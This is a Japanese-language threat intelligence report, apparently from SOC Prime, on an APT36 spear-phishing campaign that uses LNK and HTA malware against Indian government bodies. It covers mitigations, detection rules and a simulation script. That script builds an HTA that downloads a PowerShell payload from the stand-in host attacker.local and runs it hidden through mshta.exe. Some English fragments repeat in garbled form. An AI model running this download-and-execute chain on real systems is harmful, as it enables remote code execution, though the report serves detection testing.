SOC Prime Bias: クリティカル

05 Jan 2026 15:57 UTC

APT36:インド政府機関を狙ったマルチステージLNKマルウェアキャンペーン

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
APT36:インド政府機関を狙ったマルチステージLNKマルウェアキャンペーン
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

APT36(Transparent Tribe)は、PDFに偽装した悪意のあるLNKショートカットを配布するスピアフィッシングキャンペーンを実施しました。このショートカットを開くと、 mshta.exe が起動し、メモリ内で暗号化を解除してペイロードを実行するHTAベースのローダーが実行されます。これには、構成モジュールと多機能なRAT DLLが含まれています。このマルウェアは、被害者のインストールされているウイルス対策ソフトウェアに基づいて継続性の方法を動的に選択し、暗号化されたチャネルを介してコマンド&コントロールサーバーに接続します。インドの政府および学術機関を標的とし、データを盗むことを目的としたスパイ活動として評価されています。

調査

研究者は、異常に大きなLNKファイルを分析し、 innlive.inにホストされている埋め込まれたHTAコンテンツをたどり、復号化ロジックをリバースエンジニアリングしました。このチェーンは、セキュリティチェックを弱めるまたはバイパスするための.NETデシリアライゼーションペイロードの後、RAT機能を提供するファイルレスの悪意のあるDLL(例: ki2mtmkl.dll / iinneldc.dll)の2つの主要なステージを明らかにしました。永続性の動作は特定のウイルス対策製品にマッピングされ、分析中に暗号化されたトラフィックに使用される TCPポート8621 および AESキー などの主要C2詳細が抽出されました。

緩和策

メールで配信されるショートカット(.lnk)の添付ファイルを制限または隔離し、特にZIPアーカイブにパックされている場合は注意が必要です。アプリケーション制御ポリシーを適用して、ユーザーが書き込み可能なパスからの mshta.exe、PowerShell、および他のスクリプトエンジンの実行を制限します。プロセスチェーンに関するエンドポイント検出を使用し、メモリ内DLLの実行の指標を確認し、未知または信頼できないドメインとの通信をブロックするために厳格な出口制御を施行します。 mshta.exe and indicators of in-memory DLL execution, and enforce tight egress controls to block communication with unknown or untrusted domains.

対応

不審なLNK実行が検出された場合、システムを隔離し、メモリイメージをキャプチャし、RATステージに関連するメモリ内DLLの指標を検索します。特定された悪意のあるドメインや関連するIPインフラをブロックし、潜在的に露出した資格情報を更新します。スタートアップフォルダーとレジストリでの永続化アーティファクトを見つけて削除し、追加の侵入がないことを確認します。

攻撃フロー

検出

コマンドラインでの二重拡張子を用いた可能性のある悪意のあるLNKファイル

SOC Prime チーム
2026年1月5日

関連するコマンドの検出による疑わしいLOLBAS MSHTA防御回避の振る舞い(プロセス作成による)

SOC Prime チーム
2026年1月5日

自動起動位置における疑わしいバイナリ/スクリプト(ファイルイベントによる)

SOC Prime チーム
2026年1月5日

全ユーザープロファイルにおける疑わしいファイル(ファイルイベントによる)

SOC Prime チーム
2026年1月5日

全ユーザープロファイルからの疑わしい実行(プロセス作成による)

SOC Prime チーム
2026年1月5日

APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(SourceIP)を検出する

SOC Prime AI ルール
2026年1月5日

APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(HashSha256)を検出する

SOC Prime AI ルール
2026年1月5日

APT36: インド政府機関を標的としたマルチステージLNKマルウェアキャンペーンのIOC(DestinationIP)を検出する

SOC Prime AI ルール
2026年1月5日

PowerShellまたはCMDとともにmshta.exeの実行 [Windows プロセス作成]

SOC Prime AI ルール
2026年1月5日

APT36 悪意のあるドメインとC2通信検出 [Windows ネットワーク接続]

SOC Prime AI ルール
2026年1月5日

APT36キャンペーンにおけるハードコードされたAESキーの検出 [Windows Sysmon]

SOC Prime AI ルール
2026年1月5日

シミュレーション実行

前提条件: トレンドおよびベースラインの事前確認が完了している必要があります。

理論: このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目指します。

  • 攻撃のストーリーとコマンド:
    攻撃者は侵害されたワークステーションで低権限のPowerShellアクセスを取得しています。リモートペイロードをディスクに書き込まずに実行するために、攻撃者は mshta.exe を使用してC2サーバーからPowerShellバックドアを引き出すHTAファイルを実行します。手順は次の通りです:

    1. 悪意のあるHTAをエンコードし、これがPowerShellを起動してペイロードをダウンロードおよび実行するようにします。
    2. HTAをWebサーバーにホストします(例: http://attacker.local/malicious.hta).
    3. 侵害されたPowerShellセッションから、リモートURLを引数として mshta.exe を呼び出します。

    このチェーンは、 プロセス作成 イベントを作成し、ここで mshta.exeの子プロセスとして働き、Sigmaルールに正確に一致します。, precisely matching the Sigma rule.

  • 回帰テストスクリプト:

    #-------------------------------------------------
    # シミュレーターされた攻撃者のスクリプト – ルールをトリガー
    #-------------------------------------------------
    
    # 1. 悪意のあるHTAを定義(デモ用にインラインで)
    $htaContent = @"
    <script>
        // ダミーのPowerShellペイロードをダウンロードして実行
        var url = 'http://attacker.local/payload.ps1';
        var xhr = new ActiveXObject('Microsoft.XMLHTTP');
        xhr.open('GET', url, false);
        xhr.send();
        var ps = new ActiveXObject('WScript.Shell');
        ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
    </script>
    "@
    
    # 2. 一時的な場所にHTAを書き込む(ホストされたファイルをシミュレート)
    $tempPath = "$env:TEMPmalicious.hta"
    $htaContent | Set-Content -Path $tempPath -Encoding ASCII
    
    # 3. PowerShellからmshta.exeを起動(検出トリガー)
    $mshta = (Get-Command mshta.exe).Source
    Write-Host "[*] mshta.exeを起動してHTAペイロードを実行..."
    Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
    
    # オプション: イベントがキャプチャされるように待つ
    Start-Sleep -Seconds 5
    
    # クリーンアップ(次のセクションで処理)
  • クリーンアップコマンド:

    # 一時HTAファイルを削除
    Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
    
    # 残っている可能性のあるmshta.exeプロセスを停止(通常の実行後は発生しない)
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    Write-Host "[*] クリーンアップ完了。"